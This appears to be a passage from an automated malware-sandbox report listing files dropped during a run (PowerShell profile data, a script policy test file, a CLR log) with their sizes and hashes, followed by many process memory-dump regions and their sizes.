84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6b8440a9d5a82151deb182aa77f01546

SHA1
ef1ae25d0ad809c99d029a890f258889650db3be

SHA256
dc798b1585697751183c3a011783416c823fcc1f389fb02d1e353b5a15c4da37

SHA512
d015d2637eb332871d80a63fd4844b7ab8739801b316285566be2a2e7680a646c8a52bfedb0984727441975339ab2eed800f706200cd8bb5e2c5455f4cb5ea6c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_srtdz5zj.2yf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/212-82-0x00000263A4DE0000-0x00000263A4DF0000-memory.dmp

Filesize
64KB

Download
memory/212-78-0x00000263A74B0000-0x00000263A74CA000-memory.dmp

Filesize
104KB

Download
memory/212-76-0x00000263A7470000-0x00000263A748C000-memory.dmp

Filesize
112KB

Download
memory/212-85-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/212-80-0x00000263A7490000-0x00000263A7496000-memory.dmp

Filesize
24KB

Download
memory/212-77-0x00000263A7450000-0x00000263A745A000-memory.dmp

Filesize
40KB

Download
memory/212-75-0x00000263A6FE0000-0x00000263A6FEA000-memory.dmp

Filesize
40KB

Download
memory/212-71-0x00000263A7230000-0x00000263A724C000-memory.dmp

Filesize
112KB

Download
memory/212-81-0x00000263A74A0000-0x00000263A74AA000-memory.dmp

Filesize
40KB

Download
memory/212-79-0x00000263A7460000-0x00000263A7468000-memory.dmp

Filesize
32KB

Download
memory/212-74-0x00000263A7250000-0x00000263A7305000-memory.dmp

Filesize
724KB

Download
memory/212-60-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/212-61-0x00000263A4DE0000-0x00000263A4DF0000-memory.dmp

Filesize
64KB

Download
memory/212-73-0x00000263A4DE0000-0x00000263A4DF0000-memory.dmp

Filesize
64KB

Download
memory/212-72-0x00007FF438120000-0x00007FF438130000-memory.dmp

Filesize
64KB

Download
memory/756-50-0x00007FF7E8180000-0x00007FF7E8391000-memory.dmp

Filesize
2.1MB

Download
memory/756-119-0x00007FF7E8180000-0x00007FF7E8391000-memory.dmp

Filesize
2.1MB

Download
memory/1888-130-0x00007FF7649A0000-0x00007FF7649B6000-memory.dmp

Filesize
88KB

Download
memory/1888-123-0x00007FF7649A0000-0x00007FF7649B6000-memory.dmp

Filesize
88KB

Download
memory/2544-110-0x00000206A01C0000-0x00000206A01D0000-memory.dmp

Filesize
64KB

Download
memory/2544-98-0x00000206A01C0000-0x00000206A01D0000-memory.dmp

Filesize
64KB

Download
memory/2544-112-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/2544-99-0x00007FF485910000-0x00007FF485920000-memory.dmp

Filesize
64KB

Download
memory/2544-109-0x00000206A01C0000-0x00000206A01D0000-memory.dmp

Filesize
64KB

Download
memory/2544-97-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/2720-0-0x00007FF7A10D0000-0x00007FF7A12E1000-memory.dmp

Filesize
2.1MB

Download
memory/2720-34-0x00007FF7A10D0000-0x00007FF7A12E1000-memory.dmp

Filesize
2.1MB

Download
memory/2900-11-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/2900-12-0x000001E1F7BB0000-0x000001E1F7BC0000-memory.dmp

Filesize
64KB

Download
memory/2900-16-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/2900-1-0x000001E1F79A0000-0x000001E1F79C2000-memory.dmp

Filesize
136KB

Download
memory/2900-13-0x000001E1F7BB0000-0x000001E1F7BC0000-memory.dmp

Filesize
64KB

Download
memory/3400-46-0x0000017D199F0000-0x0000017D19A00000-memory.dmp

Filesize
64KB

Download
memory/3400-45-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3400-49-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-30-0x000002509D050000-0x000002509D060000-memory.dmp

Filesize
64KB

Download
memory/3640-28-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/3640-29-0x000002509D050000-0x000002509D060000-memory.dmp

Filesize
64KB

Download
memory/3640-32-0x00007FFBACCF0000-0x00007FFBAD7B1000-memory.dmp

Filesize
10.8MB

Download
memory/4168-132-0x0000022F72260000-0x0000022F72280000-memory.dmp

Filesize
128KB

Download
memory/4168-151-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-122-0x0000022F72240000-0x0000022F72260000-memory.dmp

Filesize
128KB

Download
memory/4168-125-0x0000022F72260000-0x0000022F72280000-memory.dmp

Filesize
128KB

Download
memory/4168-126-0x0000022F72280000-0x0000022F722A0000-memory.dmp

Filesize
128KB

Download
memory/4168-128-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-129-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-120-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-131-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-121-0x0000022F620D0000-0x0000022F620F0000-memory.dmp

Filesize
128KB

Download
memory/4168-134-0x0000022F72280000-0x0000022F722A0000-memory.dmp

Filesize
128KB

Download
memory/4168-135-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-137-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-139-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-141-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-143-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-145-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-147-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-149-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-124-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-153-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-155-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-157-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-159-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-161-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-163-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-165-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-167-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-169-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-171-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-173-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-175-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-177-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-179-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-181-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-183-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download
memory/4168-185-0x00007FF6EA830000-0x00007FF6EB024000-memory.dmp

Filesize
8.0MB

Download